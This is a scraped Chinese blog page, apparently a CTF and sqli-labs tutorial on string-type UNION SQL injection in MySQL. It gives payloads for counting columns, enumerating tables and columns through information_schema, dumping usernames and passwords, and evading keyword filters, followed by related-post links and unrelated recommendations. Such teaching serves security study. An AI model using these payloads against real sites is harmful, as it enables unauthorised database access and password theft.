字符型union注入
注入目标和思路:拿到库名---拿到表名---拿到列名---拿到用户名和密码
用 id=1' order by x --+ 来确定表有几列,然后用 id=0' union select x1,x1,x3 --+ 来确定回显位,然后在更改回显位用 database()来拿到数据库名,以下用sqlname表示。
注:数据库系统的数据库 information_schema(包含所有mysql数据库的简要信息),其中包含tables(表名集合表)和columns(列明集合表)这两个表。
下一步就是要拿到表名:
id=0' union select x1,x2, group_concat(table_name) from information_schema.tables where table_schema='sqlname' --+(或者可以直接用 table_schema=database(),而且更容易绕过),那么就拿到了这个数据库的所有表名。比如拿到一张users表。
下一步就是要拿列名:
id=0' union select x1,x2, group_concat(column_name) from information_schema.columns where table_schema='sqlname' and table_name='users'--+ 那么也就拿到了users这张表的所用列名,不如包括:id password
最后就可以拿到用户和密码等信息:
id=0' union select x1,x2, group_concat(id,'~',password ) from users --+ 这样就成功拿到了相关的信息。
注:当我们查询时,才会显示查询结果的其中一个,那么就需要用group_concat()来显示所用查询结果。
注:在做题过程中,题目可能会对and or 等进行限制,那么可以尝试&& ||或 a<>nd a/**/nd 等方式绕过,select被限制也是同样的方法.
注:但回显位不是X3的位置时,需要改变语句为:id=0' union select x1,group_concat(id,'~',password ),x3 from users --+
字符型union注入的更多相关文章
- 字符型SQL注入
字符型SQL注入 很早就基于DVWA实现了字符型的SQL注入,但是一直感觉自己没有理解的特别清楚,这次又看了一下网上的一些讲解,试着总结一下.以下是我的一写浅薄见解,请大家批判着看. 基本原理 看 ...
- sqli-labs less11-12(post型union注入)
less-11 post型union注入 过程: 输入admin admin 判断username password的闭合方式 对username查字段个数 ' union select 1,2# ' ...
- 【sqli-labs】 less22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
注入的过程和less 20 21一样,这次闭合cookie的使用的双引号
- 【sqli-labs】 less21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)
这个和less20是一样的,唯一的不同在于添加了括号和使用了base64对cookie进行了编码(因为使用了base64_decode解码函数) admin被编码成了YWRtaW4=但是执行的SQL语 ...
- SQL注入之PHP-MySQL实现手工注入-字符型
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...
- sql-libs(1) -字符型注入
关于sql-libs的安装就不做过多的说明, 环境:win7虚拟机 192.168.48.130(NAT连接),然后用我的win10物理机去访问. 直接加 ' 报错,后测试 and '1'='1 成功 ...
- union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单
这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...
- 【sqli-labs】 less5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
双注入查询可以查看这两篇介绍 https://www.2cto.com/article/201302/190763.html https://www.2cto.com/article/201303/1 ...
- SQL注入(字符型)
靶场:sqli-labs @SQLi最重要的一点:别上来就对着输入框注入,完整语句写出来,始终在语句中写完整的,最后把完整的一部分截取出来作为输入 @URL编码:为避免歧义,URL中,如 %2b ...
- Sql注入的分类:数字型+字符型
Sql注入: 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以 ...
随机推荐
- 晶振测试仪GDS-80系列参数
晶振测试仪GDS-80系列 一.产品简介 晶振测试仪GDS-80系列是高性价比的晶振测试系统,采用网络分析技术,实现智能化测量,符合IEC-444标准.测量频率范围10KHz-200KHz,1MHz- ...
- Typora换主题
效果预览 以下就是我的 Typora 的主题,我平时使用 Vue 主题为主. 操作步骤 具体实现步骤如下: 打开偏好设置 点击外观 打开主题文件夹 粘贴样式文件到文件夹中 关键步骤截图 主题样式还可以 ...
- Paimon merge into 实现原理
语法 MERGE INTO target USING source ON source.a = target.a WHEN MATCHED THEN UPDATE SET a = source.a, ...
- Django实战项目-学习任务系统-任务管理
接着上期代码框架,开发第3个功能,任务管理,再增加一个学习任务表,用来记录发布的学习任务的标题和内容,预计完成天数,奖励积分和任务状态等信息. 第一步:编写第三个功能-任务管理 1,编辑模型文件: . ...
- 【电脑】解决DiskGenius调整分区大小时报错“文件使用的簇被标记为空闲或与其它文件有交叉”
[电脑]解决DiskGenius调整分区大小时报错"文件使用的簇被标记为空闲或与其它文件有交叉" 零.报错 在使用DiskGenius对磁盘分区进行调整时,DiskGenius检查 ...
- 关于TFDMemtable的使用场景【3】处理数据
原因很多: 1.通过TFDMemtable处理数据时,避免影响数据感知 2.处理速度很快. ------------------------------ 从Tdataset读取数据: Procedur ...
- Hyperledger Fabric - 自定义createChannel命令
前提条件 启动上一步的自定义network网络 ./network-myself.sh up 拷贝配置文件 以下文件是配置文件及相关脚本文件: mkdir configtx #创建配置文件目录 cp ...
- Mybatis常用配置参数
Mybatis-plus官方配置详细文档: https://mp.baomidou.com/config/常用配置参数如下: mybatis-plus: # mapper配置文件路径 mapper- ...
- 康谋方案 | 基于AI自适应迭代的边缘场景探索方案
构建巨量的驾驶场景时,测试ADAS和AD系统面临着巨大挑战,如传统的实验设计(Design of Experiments, DoE)方法难以有效覆盖识别驾驶边缘场景案例,但这些边缘案例恰恰是进一步提升 ...
- wso2~介绍
1. Wso2-apim的介绍 WSO2 API Manager 是一个开源的 API 管理解决方案,旨在帮助组织设计.发布.管理和分析 API.它提供了全面的功能,支持企业在现代应用程序开发中实现更 ...